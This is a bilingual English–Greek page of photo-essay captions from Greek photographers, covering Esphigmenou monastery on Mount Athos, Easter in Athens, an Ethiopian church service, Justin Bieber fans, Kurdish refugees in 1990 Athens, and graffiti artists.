Esphigmenou monastery  is an Eastern Orthodox monastery in the monastic state of Mount Athos in Greece, dedicated to the Ascension of Christ.  The old monastery founded by Byzantine Emperor Theodosius II the Small and his sister Pulcheria during the 5th century AD. It is considered a bastion of a group of ultra-fanatic schismatic old-calendarists monks. In 2002 the Holy Synod of the Ecumenical Patriarchate of Constantinople decided the dissolution of this fraternity and ordered the expulsion of them from Mount Athos. Which until now was not possible.  Since 2005 a new brotherhood has been established, but the ten monks that constitute it under Archimandrite Chrysostomos Katsoulieris are living temporarily in Karyes, outside the main monastery building.
The monastery has significant relics of Orthodoxy, like manuscripts, scrolls, holy relics of saints, religious utensils,  icons, crosses, garments, while frescoes and iconostases in the catholicon, the refectory(the oldest building in the moanstery) and the thirteen chapels date from the 1800s.  Among the most important treasures of the monastery is a large part of Napoleon Bonaparte's tent,  which was a gift from Patriach Gregory V of Constantinople to the monastery. +

φωτογραφίες: Σπύρος Στάβερης

Ιερά Μονή Εσφιγμένου στο Άγιον Όρος.  Αφιερωμένη στην Ανάληψη του Κυρίου. Το παλιό μοναστήρι, το οποίο δεν υπάρχει πια,  ιδρύθηκε από τον αυτοκράτορα Θεοδόσιο Β' τον Μικρό και την αδερφή του Πουλχερία τον 5ο αιώνα μΧ. Η Μονή Εσφιγμένου θεωρείται προπύργιο των σχισματικών παλαιοημερολογιτών. Το 2002 η Ιερά Σύνοδος αποφάσισε την διάλυση της αδερφότητας αυτής και διατάχθηκε η απέλαση όλων από το Άγιον Όρος, ενώ επέλεξε καινούρια αδερφότητα για να επανδρώσει το μοναστήρι. Πράγμα το οποίο μέχρι και σήμερα δεν έγινε εφικτό.  Έτσι η νομότυπη αδερφότητα των δέκα μοναχών υπό τον ηγούμενο Χρυσόστομο Κατσουλιέρη διαβιεί προσωρινά στις Καρυές, εκτός του κυρίου μοναστηριού.
Το μοναστήρι διαθέτει σημαντικά κειμήλια της Ορθοδοξίας, χειρόγραφα, περγαμηνές, βιβλία, λείψανα αγίων, θρησκευτικά σκεύη, εικονίσματα, ενώ οι τοιχογραφίες και τα τέμπλα στο καθολικό, στην τράπεζα(το παλαιότερο κτίριο στη Μονή)  και στα δεκατρία παρεκκλήσια χρονολογούνται από το 1800. Από τα σημαντικότερα εκθέματα του μοναστηριού είναι ένα μεγάλο κομμάτι της σκηνής του Ναπολέοντα Βοναπάρτη,  δώρο του πατριάχη Γρηγορίου Ε' προς την Μονή.

photos: Angeliki Panagiotou

Celebrating Easter in Athens. Maundy Thursday in the central meat market for buying the traditional lamb and fresh eggs that will be dyed red. Good Friday at St. Demetrios Loumbardiaris church for the evening procession of the Epitaph overlooking the ancient Acropolis. Holy Saturday at Athens Cathedral in solemnity or in a picturesque church of the traditional neighborhood of Plaka for retro flair or to a church in the urban neighborhoods of the city like Pagkrati, Kypseli, Petralona, Thisio, because of "waiting for guests". The festive dinner at closed friends's house with the company of other Athenians not left the city, hearing fresh hits from YouTube or maybe something by The Smiths, somehow suitable because of the alternative version of the traditional mageiritsa soup, made not of entrails anymore, but of mushrooms. Wine and sympathy at the Athenian balconies in a mild spring night and for the end a long drink in the quiet downtown Athens that blooms this season. Easter Sunday in the working class neighborhoods, with grillers on the sidewalks, and uncles, cousins, partners or friends arriving for celebrations, to roast the sacrificed lamb,  to eat kokoretsi(grilled intestines), to showcase their quality in traditional dances and songs. As the smell of burning meat diffuses into neighborhoods and drinking wine mists up the city borders for a day, vision dimly detects, through the warm light of midday, another promising life and perpetually deferred. +

φωτογραφίες: Αγγελική Παναγιώτου

Γιορτάζοντας το Πάσχα στην Αθήνα. Μεγάλη Πέμπτη στην κρεαταγορά για τον οβελία και φρέσκα αυγά για να βαφτούν. Μεγάλη Παρασκευή στον Άγιο Δημήτριο τον Λουμπαρδιάρη για την περιφορά του Επιταφίου με θέα την Ακρόπολη. Μεγάλο Σάββατο στην Μητρόπολη με επισημότητα ή σε κάποιο γραφικό εκκλησάκι της Πλάκας για την ρετρό ατμόσφαιρα ή σε κάποια εκκλησία του αστικού κέντρου της πόλης, Παγκράτι, Κυψέλη, Πετράλωνα, Θησείο γιατί "περιμένω κόσμο". Το γιορτινό τραπέζι στο σπίτι καλών φίλων με την παρέα άλλων Αθηναίων που ξέμειναν και μουσική  τα νέα χιτς από το YouTube ή μπορεί και Smiths γιατί καπως κολλάει με την εναλλακτική μαγειρίτσα από μανιτάρια. Κρασί και συμπάθεια στα αθηναϊκά μπαλκόνια μια γλυκιά νύχτα της άνοιξης και για να κλείσει η βραδιά ένα ποτό στο ήσυχο κέντρο που ανθίζει αυτή την εποχή. Κυριακή του Πάσχα στις πιο λαϊκές γειτονιές στήνονται οι ψησταριές στα πεζοδρόμια, και θείοι, ξαδέρφια, συνάδερφοι και φίλοι καταφθάνουν να γυρίσουν και αυτοί το θυσιασμένο αρνί, να τσιμπίσουν το κοκορέτσι, να επιδείξουν ικανότητες στο τσάμικο και στον καλαματιανό οι γυναίκες. Καθώς η τσίκνα χάνεται στις γειτονιές, και η μέθη θολώνει τα όρια της πόλης για μια μέρα, η όραση διακρίνει αμυδρά μέσα από το ζεστό φως του μεσημεριού μια άλλη ζωή, άνωθεν υποσχόμενη και αενάως αναβαλλόμενη.

photos: Panayiotis Tzamaros

Holy Saturday in the Ethiopian Christian church in Athens. Ethiopians wrapped in white delicate fabrics, like angels, devoutly participate in the sacred ritual of the liturgy of the Resurrection and pray silently barely moving their lips. The chants are sung by women, a dozen at a time, in the Ethiopian local dialect Giz. +

φωτογραφίες: Παναγιώτης Τζάμαρος

Μεγάλο Σάββατο στην χριστιανική Αιθιοπική εκκλησία της Αθήνας. Οι Αιθίοπες τυλιγμένοι με λευκά λεπτά υφάσματα, σαν άγγελοι, παρακολουθούν με κατάνυξη την θεία λειτουργία της Αναστάσεως και προσεύχονται σιωπηλά κουνώντας απλώς τα χείλη τους. Οι ψαλμωδίες ψάλλονται από γυναίκες, δώδεκα κάθε φορά και είναι στην αιθιοπική τοπική διάλεκτο γκιζ.

photos: Nikos Katsaros

A Belieber is a fanatical devotee of the Canadian pop singer Justin Bieber. The vast majority of Beliebers are pre-teen and teenage girls  who have a sense of community,  but the fandom also includes "Boy Beliebers". Bieber fans utilise online social networks not only for connecting with Bieber but as a way of communicating and socializing. Being a fan of Belieber provides fans with access to a community that is over 20 million strong. Bieber's popularity is a result of the Internet. The existence of the community dates back to Bieber's early YouTube videos. Fans viewed his videos more than 2 billion times on YouTube, with Bieber becoming the first person to reach that number on the site. Belieber was declared one of the best new words of 2010.
(Informations have been taken from Wikipedia: http://en.wikipedia.org/wiki/Belieber) +

φωτογραφίες: Νίκος Κατσαρός

Ονομάζεται Μπιλίμπερ ο φανατικός λάτρης του Καναδού ποπ τραγουδιστή Τζάστιν Μπίμπερ. Η συντριπτική πλειοψηφία των Μπιλίμπερς είναι κορίτσια στην εφηβεία που έχουν έντονη την αίσθηση της κοινότητας, αλλά η ομάδα τους περιλαμβάνει επίσης αγόρια Μπιλίμπερς, ιδιαίτερα αγαπητά στα υπόλοιπα μέλη, κυρίως λόγω σπανιότητας. Οι Μπιλίμπερς χρησιμοποιούν online κοινωνικά δίκτυα, όχι μόνο για να επικοινωνήσουν με τον Μπίμπερ, αλλά και ως βασικό μέσο κοινωνικοποίησης. Το να ανήκει κάποιος στους Μπιλίμπερς, αυτόματα σημαίνει ότι έχει πρόσβαση σε μια πανίσχυρη παγκόσμια κοινότητα 20 εκατομμυρίων μελών. Η δημοτικότητα του Τζάστιν Μπίμπερ είναι ουσιαστικά αποτέλεσμα του Διαδικτύου. Η ύπαρξη της κοινότητας χρονολογείται από την εποχή που ο Τζάστιν ανέβασε τα πρώτα του βίντεος στο You Tube. Οι φίλοι του είδαν τα βίντεο του πάνω από 2 δισεκατομμύρια φορές στο YouTube, κάνοντας έτσι τον Μπίμπερ τον πρώτο άνθρωπο που φτάνει τον αριθμό αυτό στην ιστοσελίδα. Η λέξη Belieber ( Μπιλίμπερ) ανακηρύχθηκε μία από τις καλύτερες νέες λέξεις του 2010.
(Οι πληροφορίες είναι από την Γουικιπαίδεια: http://en.wikipedia.org/wiki/Belieber)

photos: Spyros Staveris

September 1990. First Gulf War. U.S. vs. Iraq. Kurdish families, refugees from Iraq in Athens. Greek government offered them a shelter in Cairo City Hotel, an old, decadent building at Vathis Square, downtown Athens. Leaving their homes, their roots, for these people seemed absurd, but ultimately it is not. The war has no country. +

φωτογραφίες: Σπύρος Στάβερης

Σεπτέμβριος 1990. Πρώτος πόλεμος του Κόλπου. ΗΠΑ εναντίον Ιράκ. Οικογένειες Κούρδων, πρόσφυγες από το Ιράκ στην Αθήνα. Η Ελληνική κυβέρνηση τους παρείχε κατάλυμμα στο ξενοδοχείο Cairo City, ένα παλιό, παρακμιακό κτίριο στη πλατεία Βάθης. Ξεριζωμός, που για τους ανθρώπους αυτούς φάνταζε παράλογος, αλλά που τελικά δεν είναι. Ο πόλεμος δεν έχει πατρίδα.

photos: Nikos Katsaros

Graffiti artists, revolutionaries, anonymous, pseudonymous, dark types, painters, pirates of everyday life in the city.
Young people in Greece create in the fringe: Billos, Force, Kris, Mora, Opium, Sonke, WD +

φωτογραφίες: Νίκος Κατσαρός

Γκραφιτάδες, καλλιτέχνες, επαναστάτες, ανώνυμοι, ψευδώνυμοι, ζωγράφοι, σκοτεινοί, πειρατές της καθημερινότητας στην πόλη.
Οι νέοι στην Ελλάδα δημιουργούν στο περιθώριο: Billos, Force,  Kris,  Mora,  Opium,  Sonke,  WD